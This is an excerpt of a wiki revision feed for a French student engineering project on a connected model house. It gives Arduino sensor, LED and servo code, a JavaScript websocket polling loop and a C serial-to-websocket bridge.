Une impulsion de 2 millisecondes correspond à un angle de 180°.&lt;br /&gt;
&lt;br /&gt;
En envoyant une impulsion d'une longueur intermédiaire, on obtient des angles différents, 90° avec une impulsion de 1.5 milliseconde par exemple.&lt;br /&gt;
&lt;br /&gt;
N.B. La plupart des servomoteurs fonctionnent en 5 volts, mais certains fonctionnent en 3.3 volts. Pensez à bien lire la documentation du servomoteur avant de l'utiliser.&lt;br /&gt;
&lt;br /&gt;
=== Partie informatique ===&lt;br /&gt;
&lt;br /&gt;
* Afin d'allumer et d'éteindre les LEDs, il faut tout d'abord initialiser le pin en question en sortie. Pour allumer la LED, on met le pin à l'état haut pour une durée de 5000 cycles qui équivaut à 1 seconde et pour l'éteindre on effectue les mêmes instructions en mettant le pin à l'état bas.&lt;br /&gt;
   &lt;br /&gt;
   // the setup function runs once when you press reset or power the board&lt;br /&gt;
   void setup() {&lt;br /&gt;
     // initialize digital pin LED_BUILTIN as an output.&lt;br /&gt;
     pinMode(2, OUTPUT);&lt;br /&gt;
   }&lt;br /&gt;
   // the loop function runs over and over again forever&lt;br /&gt;
   void loop() {&lt;br /&gt;
     digitalWrite(2, HIGH);   // turn the LED on (HIGH is the voltage level)&lt;br /&gt;
     delay(5000);                       // wait for a second&lt;br /&gt;
     digitalWrite(2, LOW);    // turn the LED off by making the voltage LOW&lt;br /&gt;
     delay(5000);                       // wait for a second&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
* Pour le capteur de température, l'arduino reçoit une tension. On multiplie la valeur reçue par la valeur de l'alimentation qui est de 5V. On divise par 1024 cette valeur. 1024 est le nombre d'octet sous lequel est codé la précision du capteur de température.&lt;br /&gt;
      //TMP36 Pin Variables&lt;br /&gt;
    int sensorPin = 0;         // the analog pin the TMP36's Vout (sense) pin is connected to&lt;br /&gt;
                                          // the resolution is 10 mV / degree centigrade with a&lt;br /&gt;
                                          // 500 mV offset to allow for negative temperatures&lt;br /&gt;
   void loop()                    // run over and over again&lt;br /&gt;
   {&lt;br /&gt;
    //getting the voltage reading from the temperature sensor&lt;br /&gt;
    int reading = analogRead(sensorPin);  &lt;br /&gt;
    // converting that reading to voltage, for 3.3v arduino use 3.3&lt;br /&gt;
    float voltage = reading * 5.0;&lt;br /&gt;
    voltage /= 1024.0; &lt;br /&gt;
    // print out the voltage&lt;br /&gt;
    Serial.print(voltage); Serial.println(&amp;quot; volts&amp;quot;);&lt;br /&gt;
    // now print out the temperature&lt;br /&gt;
    float temperatureC = (voltage - 0.5) * 100 ;  //converting from 10 mv per degree wit 500 mV offset&lt;br /&gt;
                                                                         //to degrees ((voltage - 500mV) times 100)&lt;br /&gt;
    Serial.print(temperatureC); Serial.println(&amp;quot; degrees C&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
* Pour la photorésistance, le principe étant de lire l'information qui arrive sur la broche à laquelle est branché le module. Pour cela, une acquisition continue avec un écart de 250ms suffira dans notre cas.&lt;br /&gt;
&lt;br /&gt;
   // Fonction setup(), appelée au démarrage de la carte Arduino&lt;br /&gt;
   void setup() {&lt;br /&gt;
     // Initialise la communication avec le PC&lt;br /&gt;
     Serial.begin(9600);&lt;br /&gt;
   }&lt;br /&gt;
   // Fonction loop(), appelée continuellement en boucle tant que la carte Arduino est alimentée&lt;br /&gt;
   void loop() {&lt;br /&gt;
     // Mesure la tension sur la broche A0&lt;br /&gt;
     int valeur = analogRead(A0);&lt;br /&gt;
     // Envoi la mesure au PC pour affichage et attends 250ms&lt;br /&gt;
     Serial.println(valeur);&lt;br /&gt;
     delay(250);&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
* Le module Peltier fonctionne en continue sans réel consigne c'est à dire qu'il suffira de jouer sur l'état d'un interrupteur pour qu'il chauffe ou pas. Il sera alimenté par une source de tension externe car l'arduino ne répond pas aux besoin nécessaire du module.&lt;br /&gt;
&lt;br /&gt;
* Le dernier module programmé est le servomoteur, la valeur de l'angle est entre 0° et 179°, le résultat sera entre 1 000 et 2 000 microsecondes (donc entre 1 et 2 millisecondes). Grâce à cette formule, on peut obtenir toutes les valeurs d'impulsions pour des positions entre 0° et 179°. Ce programme est un programme test pour comprendre le bon fonctionnement d'un servomoteur.&lt;br /&gt;
&lt;br /&gt;
   int periode=20000;// période entre chaque début d'impulsion en microsecondes&lt;br /&gt;
   int pinServo=8; // variable pour le pin connecté à la commande du servo&lt;br /&gt;
   void setup() {&lt;br /&gt;
     pinMode(pinServo,OUTPUT);// on prépare le pin en mode OUTPUT&lt;br /&gt;
     digitalWrite(pinServo,LOW); // on l'initialise à l'état bas&lt;br /&gt;
   }&lt;br /&gt;
   //boucle principale&lt;br /&gt;
   void loop() {&lt;br /&gt;
     for (int angle=0;angle&amp;lt;=180;angle+=20){//on fait varier l'angle de 0 à 180° par tranche de 20°&lt;br /&gt;
       setAngle(angle);// on appelle la fonction setAngle définie plus bas&lt;br /&gt;
     }&lt;br /&gt;
   }&lt;br /&gt;
   //fonction setAngle pour envoyer les impulsions&lt;br /&gt;
   void setAngle(int a){&lt;br /&gt;
     int duree=map(a,0,179,1000,2000);// on transforme l'angle en microsecondes et on stocke dans la variable duree&lt;br /&gt;
     digitalWrite(pinServo,LOW);//on met le pin à l'état bas&lt;br /&gt;
     // la boucle qui suit est nécessaire &lt;br /&gt;
     // pour laisser le temps au servo d'aller à sa position&lt;br /&gt;
     for (int t=0;t&amp;lt;300;t++){ &lt;br /&gt;
       digitalWrite(pinServo,HIGH);// on envoie l'impulsion&lt;br /&gt;
       delayMicroseconds(duree); // pendant la bonne durée&lt;br /&gt;
       digitalWrite(pinServo,LOW); // on stoppe l'impulsion&lt;br /&gt;
       delayMicroseconds(periode-duree); // on attend le temps restant pour atteindre la période&lt;br /&gt;
     }&lt;br /&gt;
   }&lt;br /&gt;
 &lt;br /&gt;
* En parallèle avec ce travail de programmation sur arduino, on réalise des plans de la maquette de la maison pour ensuite la faire passer à la découpeuse laser grâce au logiciel inkscap.&lt;br /&gt;
&lt;br /&gt;
== Séance 2 ==&lt;br /&gt;
Lors de la séance 2, nous avons reçu le capteur PIR, étudié sa datasheet pour pouvoir l'utilisé et le programmer avec la carte arduino. Pendant ce temps là, en parallèle est finalisé le design et la conception de la maquette de la maison connectée.&lt;br /&gt;
&lt;br /&gt;
=== Partie électronique ===&lt;br /&gt;
&lt;br /&gt;
* Un capteur infrarouge permet de détecter un mouvement dans son champ de vision en se basant sur l’infrarouge. On parle aussi de capteur pyroélectrique ou PIR. Les PIR sont capable de détecter une variation des ondes infrarouges, ce qui génère un courant électrique. Dans le cas de notre capteur, il est en fait divisé en deux partie différente reliées ensemble afin de détecter une variation lors qu’une des moitiés capte plus qu’une autre. On a ainsi un relevé d’une différence, et non plus d’une valeur simple. Lors d’un mouvement, la variation des deux moitiés vont varier, et on va donc capter cette variation positive. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:PIR.jpg]]&lt;br /&gt;
&lt;br /&gt;
Les spécifications techniques du capteur PIR HC SR501 sont les suivantes :&lt;br /&gt;
&lt;br /&gt;
   Entrée : Tension continue de 4.5 à 20V , courant 65mA&lt;br /&gt;
   Sortie : High 3.3 V / Low 0V (Détection ou non)&lt;br /&gt;
   Angle : &amp;lt;100 °&lt;br /&gt;
   Dimension : 32 mm * 24 mm&lt;br /&gt;
   Délai : de 5 à 200 secondes (ajustable)&lt;br /&gt;
   Portée : de 3 à 7 mètres (ajustable).&lt;br /&gt;
   Au repos : 50 uA&lt;br /&gt;
&lt;br /&gt;
En ce qui concerne le montage, on s'aide d'une LED pour vérifier l'état et le passage devant le PIR.&lt;br /&gt;
On branche donc :&lt;br /&gt;
&lt;br /&gt;
Le VCC du PIR  sur le 5V de l’arduino&lt;br /&gt;
Le GRD du PIR sur le GRD de l’arduino&lt;br /&gt;
La dernière branche sur le pin 2 de l’arduino&lt;br /&gt;
On ajoute une led de contrôle entre le pin 13 et un GRD de l’arduino&lt;br /&gt;
&lt;br /&gt;
   [[Fichier:montagePIR.jpg]]&lt;br /&gt;
&lt;br /&gt;
=== Partie informatique ===&lt;br /&gt;
&lt;br /&gt;
*Pour la programmation du PIR, il est important de lui laisser au moins 30 secondes pour se calibrer, puis une fois que cela est fait, on va en boucle relever la valeur que nous renvoi le capteur : 0 ou 1. 0 signifiant pas de signal et 1 signifiant qu’il détecte une variation infrarouge. Une LED s'allume pour valider l'état.&lt;br /&gt;
&lt;br /&gt;
   //the time we give the sensor to calibrate (10-60 secs according to the datasheet)&lt;br /&gt;
   int calibrationTime = 30;&lt;br /&gt;
   int ledPin = 13;                // choose the pin for the LED&lt;br /&gt;
   int inputPin = 2;               // choose the input pin (for PIR sensor)&lt;br /&gt;
   int pirState = LOW;             // we start, assuming no motion detected&lt;br /&gt;
   int val = 0;                    // variable for reading the pin status&lt;br /&gt;
   void setup() {&lt;br /&gt;
     pinMode(ledPin, OUTPUT);      // declare LED as output&lt;br /&gt;
     pinMode(inputPin, INPUT);     // declare sensor as input&lt;br /&gt;
     Serial.begin(9600);&lt;br /&gt;
     Serial.print(&amp;quot;calibrating sensor &amp;quot;);&lt;br /&gt;
     for(int i = 0; i &amp;lt; calibrationTime; i++){&lt;br /&gt;
       Serial.print(&amp;quot;.&amp;quot;);&lt;br /&gt;
       delay(1000);&lt;br /&gt;
     }&lt;br /&gt;
   }&lt;br /&gt;
   void loop(){&lt;br /&gt;
     val = digitalRead(inputPin);  // read input value&lt;br /&gt;
     Serial.println(val);&lt;br /&gt;
     if (val == HIGH) { // check if the input is HIGH&lt;br /&gt;
       digitalWrite(ledPin, HIGH);  // turn LED ON&lt;br /&gt;
       delay(150);&lt;br /&gt;
       if (pirState == LOW) {&lt;br /&gt;
         // we have just turned on&lt;br /&gt;
         Serial.println(&amp;quot;Motion detected!&amp;quot;);&lt;br /&gt;
         // We only want to print on the output change, not state&lt;br /&gt;
         pirState = HIGH;&lt;br /&gt;
       }&lt;br /&gt;
     } else {&lt;br /&gt;
       digitalWrite(ledPin, LOW); // turn LED OFF&lt;br /&gt;
       delay(300);&lt;br /&gt;
       if (pirState == HIGH){&lt;br /&gt;
         // we have just turned of&lt;br /&gt;
         Serial.println(&amp;quot;Motion ended!&amp;quot;);&lt;br /&gt;
         // We only want to print on the output change, not state&lt;br /&gt;
         pirState = LOW;&lt;br /&gt;
       }&lt;br /&gt;
     }&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
Après avoir compiler et téléverser le programme dans l'arduino, on peut constater dans le moniteur série l'état et le fonctionnement du PIR en directe. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:moniteurseriepir.jpg]]&lt;br /&gt;
&lt;br /&gt;
* Le design maquette a été revue en détail durant la séance pour les petites corrections et pouvoir lancer le découpage et ensuite la monter proprement sans soucis de dimensionnement. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:decoupagelaser.jpg]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:maquettemonte.jpg]]&lt;br /&gt;
&lt;br /&gt;
== Séance 3 ==&lt;br /&gt;
&lt;br /&gt;
=== Partie électronique ===&lt;br /&gt;
&lt;br /&gt;
Prise en main de Altium designer et réalisation du comparateur de température&lt;br /&gt;
prise en main CAN sur carte arduino&lt;br /&gt;
&lt;br /&gt;
=== Partie informatique ===&lt;br /&gt;
&lt;br /&gt;
prog de Altium designer et réalisation du comparateur de température&lt;br /&gt;
prog CAN sur carte arduino&lt;br /&gt;
&lt;br /&gt;
== Séances supplémentaires ==&lt;br /&gt;
&lt;br /&gt;
=== Partie électronique ===&lt;br /&gt;
&lt;br /&gt;
Montage de la maquette avec les différents élements pour la présentation.&lt;br /&gt;
&lt;br /&gt;
=== Partie informatique ===&lt;br /&gt;
&lt;br /&gt;
==== Schéma de fonctionnement ====&lt;br /&gt;
&lt;br /&gt;
Afin de mettre en place le système, le schéma suivi sera le suivant :&lt;br /&gt;
&lt;br /&gt;
1) Requête de la page WEB par l'envoi d'un caractère.&lt;br /&gt;
&lt;br /&gt;
2) Réception du serveur programmé en C, tournant en tâche de fond, traitement et envoi de la requète à l'arduino par la port série.&lt;br /&gt;
&lt;br /&gt;
3) Réception de la requête par l'Arduino, traitement et envoi de la réponse en série.&lt;br /&gt;
&lt;br /&gt;
4) Réception de la réponse de l'Arduino par le programme C.&lt;br /&gt;
&lt;br /&gt;
5) Transmission de la réponse à la page WEB.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Page WEB ====&lt;br /&gt;
&lt;br /&gt;
La page web va émettre des requêtes pour chacune des données :&lt;br /&gt;
   -1 pour afficher la valeur du potentiomètre&lt;br /&gt;
   -2 pour afficher la valeur de capteur de luminosité&lt;br /&gt;
   -3 pour afficher la valeur de capteur de température&lt;br /&gt;
   -4 pour afficher l'état des lampes (l'allumage et l'extinction étant gérés par l'Arduino)&lt;br /&gt;
   -5 pour afficher l'état du chauffage (l'allumage et l'extinction étant gérés par l'Arduino)&lt;br /&gt;
&lt;br /&gt;
Afin de lancer ces requêtes automatiquement, un créé une boucle javascript avec les fonctions :&lt;br /&gt;
&lt;br /&gt;
1) setTimeout qui permet de lancer une fonction après une autre après un certain temps (ici 200ms)&lt;br /&gt;
&lt;br /&gt;
2) setInterval qui permet de lancer une fonction avec un intervalle régulier dès que la page est lancée (ici 1000ms)&lt;br /&gt;
	&lt;br /&gt;
&lt;br /&gt;
   function autoSend0(){&lt;br /&gt;
   websocket.send('0');&lt;br /&gt;
   setTimeout('autoSend1();', 200);&lt;br /&gt;
   }&lt;br /&gt;
   function autoSend1(){&lt;br /&gt;
   websocket.send('1');&lt;br /&gt;
   setTimeout('autoSend2();', 200);&lt;br /&gt;
   }&lt;br /&gt;
   function autoSend2(){&lt;br /&gt;
   websocket.send('2');&lt;br /&gt;
   setTimeout('autoSend3();', 200);&lt;br /&gt;
   }&lt;br /&gt;
   function autoSend3(){&lt;br /&gt;
   websocket.send('3');&lt;br /&gt;
   setTimeout('autoSend4();', 200);&lt;br /&gt;
   }&lt;br /&gt;
   function autoSend4(){&lt;br /&gt;
   websocket.send('4');&lt;br /&gt;
   }&lt;br /&gt;
   setInterval(autoSend0, 1000);&lt;br /&gt;
   &lt;br /&gt;
	&lt;br /&gt;
	&lt;br /&gt;
La requête est lancée en websocket grâce à la commande &amp;quot;websocket.send('x')&amp;quot;, x étant la caractère à envoyer.&lt;br /&gt;
&lt;br /&gt;
Cette requête sera donc réceptionnée par le serveur tournant en tache de fond, serveur programmé en C.&lt;br /&gt;
&lt;br /&gt;
Une fois tout le traitement effectué, la réponse est alors recue de la forme suivante : xxxxi&lt;br /&gt;
&lt;br /&gt;
i représente le numéro de l'instruction&lt;br /&gt;
&lt;br /&gt;
xxxx représente les données correspondant à l'instruction&lt;br /&gt;
&lt;br /&gt;
De cette manière, on peut grâce à une simple condition if, modifier la variable correspondante, qui sera donc actualisée régulièrement sur la page WEB.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Partie Arduino ====&lt;br /&gt;
&lt;br /&gt;
Le programme de l'arduino est divisé en deux grandes parties :&lt;br /&gt;
&lt;br /&gt;
Le fonctionnement de manière autonome, c'est à dire qu'il n'est pas nécessaire que le Raspberry et la page WEB soient lancés, l'Arduino peut exécuter ses fonctions d'allumage et d'extinction de lumière et de chauffage de manière autonome.&lt;br /&gt;
&lt;br /&gt;
On utilise ici le CAN intégré à l'Arduino afin d'acquérir des valeurs de potentiomètre, de luminosité et de température, et de les traiter.&lt;br /&gt;
&lt;br /&gt;
Dans ce programme, lorsque la luminosité est trop faible, une lumière s'allume, et lorsque la température est trop basse le chauffage s'allume :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    if (temperature &amp;lt; 27)&lt;br /&gt;
    {&lt;br /&gt;
      digitalWrite(led2, HIGH);&lt;br /&gt;
      ledstate2=1;&lt;br /&gt;
    }&lt;br /&gt;
    else &lt;br /&gt;
    {&lt;br /&gt;
      digitalWrite(led2, LOW);&lt;br /&gt;
      ledstate2=0;&lt;br /&gt;
    }&lt;br /&gt;
    if (analogRead(A1) &amp;lt; 300)&lt;br /&gt;
    {&lt;br /&gt;
      digitalWrite(led1, HIGH);&lt;br /&gt;
      ledstate1=1;&lt;br /&gt;
    }&lt;br /&gt;
    else &lt;br /&gt;
    {&lt;br /&gt;
      digitalWrite(led1, LOW);&lt;br /&gt;
      ledstate1=0;&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
&lt;br /&gt;
On a pu remarquer que dans la pratique, le capteur de température est relativement instable et imprécis, ce qui engendre un comportement relativement aléatoire.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La partie série, c'est la partie dédiée à la communication de l'Arduino avec une interface série, ici le Raspberry.&lt;br /&gt;
&lt;br /&gt;
Lorsqu'un caractère est reçu, ici un entier correspondant à l'instruction, l'Arduino fait la conversion Analogique-Digitale de la valeur envoyée sur le pin correspondant, et la stocke dans une variable.&lt;br /&gt;
&lt;br /&gt;
Une fois stockée, cette variable sera transmise en série bit par bit, il faut donc que le premier bit transmis soit la longueur de l'entier à transmettre.&lt;br /&gt;
&lt;br /&gt;
Pour cela, on utilise la formule :&lt;br /&gt;
&lt;br /&gt;
    n = (log10(sensorValue) + 1)&lt;br /&gt;
&lt;br /&gt;
avec n la longueur de sensorValue.&lt;br /&gt;
&lt;br /&gt;
    int sensorValue = analogRead(A0);&lt;br /&gt;
    int n = (log10(sensorValue) + 1);  // nombre de chiffres composant le nombre&lt;br /&gt;
    itoa(n, lengh, 10);&lt;br /&gt;
    itoa(sensorValue, value, 10);&lt;br /&gt;
    strcat(lengh,value);&lt;br /&gt;
    Serial.println(lengh);&lt;br /&gt;
&lt;br /&gt;
La valeur finale transmise en série sera donc de la forme nxxxx.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Partie serveur ====&lt;br /&gt;
&lt;br /&gt;
Le programme C est celui qui fera la liaison entre les communications série et le WebSocket.&lt;br /&gt;
&lt;br /&gt;
Il va recevoir par le websocket un entier correspondant à l'instruction et le stocker dans l'entier message :&lt;br /&gt;
&lt;br /&gt;
   case LWS_CALLBACK_RECEIVE:&lt;br /&gt;
      printf(&amp;quot;received data: %s\n&amp;quot;,(char *)in);&lt;br /&gt;
      message=malloc(len+LWS_SEND_BUFFER_PRE_PADDING+LWS_SEND_BUFFER_POST_PADDING);&lt;br /&gt;
    	&lt;br /&gt;
Un appel à la fonction serial_read est ensuite fait.&lt;br /&gt;
&lt;br /&gt;
Cette fonction va aller lire bit par bit chaque caractère du message transmis en série. Elle prend en argument l'instruction &amp;quot;rec&amp;quot;&lt;br /&gt;
&lt;br /&gt;
   serial_read(&amp;amp;rec)&lt;br /&gt;
&lt;br /&gt;
Un envoi en série de l'instruction est ensuite fait :&lt;br /&gt;
&lt;br /&gt;
   if(write(sd,&amp;amp;c,sizeof(char))!=1){ perror(&amp;quot;main.write&amp;quot;); exit(-1); }&lt;br /&gt;
	&lt;br /&gt;
Une fois l'envoi fait, la lecture des données peur commencer. On commence par lire le nombre de bits que contient le mot :&lt;br /&gt;
&lt;br /&gt;
   if(read(sd,&amp;amp;n,sizeof(char))!=1){ perror(&amp;quot;main.read&amp;quot;); exit(-1); }&lt;br /&gt;
   n=n-48;&lt;br /&gt;
	&lt;br /&gt;
Cette donnée est donc stockée dans l'entier n, qui nous sert à faire la boucle for suivante :&lt;br /&gt;
&lt;br /&gt;
   for (i=0;i&amp;lt;n;i++)&lt;br /&gt;
   {&lt;br /&gt;
      if(read(sd,&amp;amp;c,sizeof(char))!=1){ perror(&amp;quot;main.read&amp;quot;); exit(-1); }&lt;br /&gt;
      value=value+(c-48)*pow(10,n-i-1);&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
Cette boucle for permet donc la construction de l'entier reçu en série, ce dernier nécessitant alors d'être converti en str grâce à sprintf, auquel on ajoute en fin de mot l'instruction afin que le serveur web puisse repérer la nature de la donnée.&lt;br /&gt;
&lt;br /&gt;
   sprintf (value, &amp;quot;%d&amp;quot;, (10*serial_read(&amp;amp;rec))+rec);&lt;br /&gt;
	&lt;br /&gt;
Le résultat final est envoyé en websocket.&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
La réalisation de ce projet fut relativement plus compliquée que ce à quoi nous nous attendions. En effet, l'utilisation du FPGA nous a forcés à revoir à la baisse nos espérances.&lt;br /&gt;
&lt;br /&gt;
Malgré cela, l'utilisation du websocket ainsi que des bibliothèques série furent une bonne expérience, l'envie d'approfondir et d'améliorer le projet est réelle, mais en raison d'un manque considérable de temps et du départ en stage et à l'étranger des membres du groupe, nous n'avons pas pu aller aussi loin que nous l'aurions voulu.&lt;br /&gt;
&lt;br /&gt;
Ce fut de plus une première pour l'utilisation du javascript, langage relativement intéressant pour l'actualisation automatique des valeurs entre autre.&lt;br /&gt;
&lt;br /&gt;
Le projet s'est révélé très formateur, et serait approfondi/abouti avec joie.&lt;/div&gt;</summary>
		<author><name>Tcattela</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Projet_IMA3_P2,_2016/2017,_TD1&amp;diff=44231</id>
		<title>Projet IMA3 P2, 2016/2017, TD1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Projet_IMA3_P2,_2016/2017,_TD1&amp;diff=44231"/>
				<updated>2017-06-18T16:01:19Z</updated>
		
		<summary type="html">&lt;p&gt;Tcattela : /* Séances supplémentaires */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Projet IMA3-SC 2016/2017 : Maison connectée =&lt;br /&gt;
&lt;br /&gt;
== Cahier des charges ==&lt;br /&gt;
&lt;br /&gt;
=== Description du système ===&lt;br /&gt;
* L'écologie étant un point clé des futures années, il nous a semblé intéressant d'associer ce thème aux systèmes communicants. Le but est donc de mener à bien le projet d'une maison intelligente et communicante.&lt;br /&gt;
&lt;br /&gt;
* La maison aura donc diverses fonctions gérées par l'utilisateur à distance, tel que l'éclairage, le chauffage, l'état de ses portes, l'état du garage...&lt;br /&gt;
&lt;br /&gt;
* Tout étant géré à la fois via une interface web et une application Android.  &lt;br /&gt;
&lt;br /&gt;
* L'application laissera la possibilité de programmer ses routines afin que la maison devienne par définition autonome. &lt;br /&gt;
&lt;br /&gt;
* Les mouvements dans la maison peuvent être détectés et l'application informe l'utilisateur en cas de mouvements imprévus (alerte voleur !)&lt;br /&gt;
&lt;br /&gt;
=== Liste des fonctions à réaliser ===&lt;br /&gt;
* Mesure de la température (en °C) et de la luminosité (en lux).&lt;br /&gt;
&lt;br /&gt;
* Détection de mouvement pour l'éclairage et les intrusions.&lt;br /&gt;
&lt;br /&gt;
* Communication des informations sur une page web et une application Android.&lt;br /&gt;
&lt;br /&gt;
* Automatisation de la commande de chauffage et d'éclairage.&lt;br /&gt;
&lt;br /&gt;
* Automatisation des entrées et sorties de la maison (porte de garage..)&lt;br /&gt;
&lt;br /&gt;
* Prévision de la consommation&lt;br /&gt;
&lt;br /&gt;
=== Le matériel ===&lt;br /&gt;
Pour mener à bien ce projet il nous faudra :&lt;br /&gt;
&lt;br /&gt;
* Raspberry PI3&lt;br /&gt;
&lt;br /&gt;
* Carte SD 8GB&lt;br /&gt;
&lt;br /&gt;
* Arduino Nano&lt;br /&gt;
&lt;br /&gt;
* Servo-moteur&lt;br /&gt;
&lt;br /&gt;
* Capteur de luminosité, capteur de température (pour Arduino)&lt;br /&gt;
&lt;br /&gt;
* 5 leds&lt;br /&gt;
&lt;br /&gt;
* module peltier et un radiateur &lt;br /&gt;
&lt;br /&gt;
* Transformateur 230V/12V&lt;br /&gt;
&lt;br /&gt;
* Relais 3.3V&lt;br /&gt;
&lt;br /&gt;
* Capteur PIR (Passive Infra-Rouge)&lt;br /&gt;
&lt;br /&gt;
* Maquette imprimée en 3D au fabricarium (la modélisation étant réalisée par nos soins.)&lt;br /&gt;
&lt;br /&gt;
== Séance 1 ==&lt;br /&gt;
&lt;br /&gt;
Durant cette séance, nous avons consacré notre temps principalement aux tests des différents modules qui s'appareillent avec la carte arduino. Cette étape est très crucial pour avoir un aperçu des caractéristiques de chacun des composants.&lt;br /&gt;
&lt;br /&gt;
=== Partie électronique ===&lt;br /&gt;
&lt;br /&gt;
*Pour une prise en main rapide et facile, nous avons tout d'abord utilisé des fonctions basiques en alternant sur les états des pins de l'arduino afin d'allumer et d'éteindre des LEDs qui feront office de lumière dans la maison. Les LEDs seront connectées en série avec une résidence pour ne pas dépasser la tension de seuil. (Tension sortie arduino &amp;gt; tension seuil LED)&lt;br /&gt;
&lt;br /&gt;
*En deuxième test, on a utilisé la photorésistance. Une photorésistance est un composant dont la résistivité dépend de la luminosité ambiante. Pour faire simple, c'est une résistance dont la valeur change en fonction de la lumière qu'elle reçoit. On peut donc utiliser une photorésistance pour mesurer la luminosité ambiante. Voici quelques ordres de grandeurs de l'éclairement lumineux en fonction des endroits :&lt;br /&gt;
&lt;br /&gt;
   Nuit de pleine lune : 0,5 lux&lt;br /&gt;
   Rue de nuit bien éclairée :20 à 70 lux&lt;br /&gt;
   Local de vie : 100 à 200 lux&lt;br /&gt;
   Appartement bien éclairé : 200 à 400 lux&lt;br /&gt;
   Local de travail : 200 à 3 000 lux&lt;br /&gt;
   Stade de nuit : 150 à 1 500 lux&lt;br /&gt;
   Extérieur par ciel couvert : 500 à 25 000 lux&lt;br /&gt;
   Extérieur en plein soleil : 50 000 à 100 000 lux&lt;br /&gt;
&lt;br /&gt;
Le but de la démonstration était de tout simplement mesurer la luminosité ambiante d'une pièce et d'envoyer la valeur mesurée vers l'ordinateur via le câble USB et de visualisé la valeur sur le moniteur série. Le schéma de montage est le suivant : &lt;br /&gt;
   [[Fichier:arduino_ldr_schéma.jpeg]]&lt;br /&gt;
&lt;br /&gt;
La résistance de 10kOhm en série avec la photorésistance forme un pont de résistance (diviseur de tension). Après compilation et test, voici le résultat obtenu : &lt;br /&gt;
   [[Fichier:capture_serial_term_ldr.jpg]]&lt;br /&gt;
&lt;br /&gt;
N.B. : La valeur mesurée n'a pas d'unité ! C'est une valeur purement indicative. Si on veut mesurer une mesure en lux, il aurait fallu calibrer la photorésistance et intégrer les données de calibration dans le code. Savoir calibrer un capteur n'est pas le but de cette demonstration.&lt;br /&gt;
&lt;br /&gt;
*Nous avons également fait les tests de température sur le capteur de thermique 36GZ qui a les caractéristiques suivantes : &lt;br /&gt;
&lt;br /&gt;
   - Tension d'entrée: 2,7 à 5,5 Vcc&lt;br /&gt;
   - 10 mV/°C&lt;br /&gt;
   - Précision: ±2°C &lt;br /&gt;
   - Linéarité: 0,5°C&lt;br /&gt;
   - Plage d'utilisation: -40°C à +125°C &lt;br /&gt;
&lt;br /&gt;
Le but de ce montage sera de tout simplement mesurer la température ambiante de l'atelier et d'envoyer la température en degré Celsius vers l'ordinateur via le câble USB.&lt;br /&gt;
&lt;br /&gt;
*On utilisera un module Peltier pour jouer le rôle du chauffage. L’effet Peltier est le déplacement de chaleurs en présence d’un courant électrique. L’effet se crée entre deux matériaux conducteurs de différentes natures liés par des jonctions. L’une des jonctions se refroidit pendant que l’autre se chauffe. &lt;br /&gt;
Le module Peltier transforme le courant électrique une différence de température. Changer la polarité du Peltier permet de refroidir ou chauffer le bloc métallique sur lequel il sera en contact avec de la graisse thermique pour assurer la transformation de la chaleur maximale. Le module Peltier qu'on utilise peut générer un gradient de température allant jusque 70°C et possède les caractéristiques électriques suivantes : une tension d’entrée maximale de 3,8V et une intensité d’entrée de 8,5A.&lt;br /&gt;
&lt;br /&gt;
*Le dernier test de cette séance a été consacré au servomoteur. Les servomoteurs sont des moteurs un peu particuliers, qui peuvent tourner avec une liberté d'environ 180° et garder de manière relativement précise l'angle de rotation que l'on souhaite obtenir. Les servomoteurs ont pour rôles dans cette maquette d'ouvrir et de fermer le volet et la porte du garage. Il suffit de donner une consigne au servomoteur (&amp;quot;reste à 45°&amp;quot; par exemple) et le servomoteur fera son maximum pour rester au plus près de cette consigne. Voici le schéma de montage du servomoteur avec la carte arduino : &lt;br /&gt;
   [[Fichier:sch_servMotor.jpg]]&lt;br /&gt;
Il est très important et crucial de bien brancher la broche &amp;quot;pulse&amp;quot; du servomoteur sur une pin PWM de la carte (Pulse Width Modulation, pin P9 sur le schéma par exemple). La consigne est transmise au moyen d'un signal numérique, d'une impulsion pour être précis.&lt;br /&gt;
&lt;br /&gt;
Pour que le servomoteur reste à une position donnée, il faut transmettre toutes les 20 millisecondes (soit à une fréquence de 50Hz) une impulsion d'une longueur comprise entre 1 et 2 millisecondes.&lt;br /&gt;
&lt;br /&gt;
   [[Fichier:impulsion.jpg]]&lt;br /&gt;
&lt;br /&gt;
Une impulsion de 1 milliseconde correspond à un angle de 0°.&lt;br /&gt;
&lt;br /&gt;
Une impulsion de 2 millisecondes correspond à un angle de 180°.&lt;br /&gt;
&lt;br /&gt;
En envoyant une impulsion d'une longueur intermédiaire, on obtient des angles différents, 90° avec une impulsion de 1.5 milliseconde par exemple.&lt;br /&gt;
&lt;br /&gt;
N.B. La plupart des servomoteurs fonctionnent en 5 volts, mais certains fonctionnent en 3.3 volts. Pensez à bien lire la documentation du servomoteur avant de l'utiliser.&lt;br /&gt;
&lt;br /&gt;
=== Partie informatique ===&lt;br /&gt;
&lt;br /&gt;
* Afin d'allumer et d'éteindre les LEDs, il faut tout d'abord initialiser le pin en question en sortie. Pour allumer la LED, on met le pin à l'état haut pour une durée de 5000 cycles qui équivaut à 1 seconde et pour l'éteindre on effectue les mêmes instructions en mettant le pin à l'état bas.&lt;br /&gt;
   &lt;br /&gt;
   // the setup function runs once when you press reset or power the board&lt;br /&gt;
   void setup() {&lt;br /&gt;
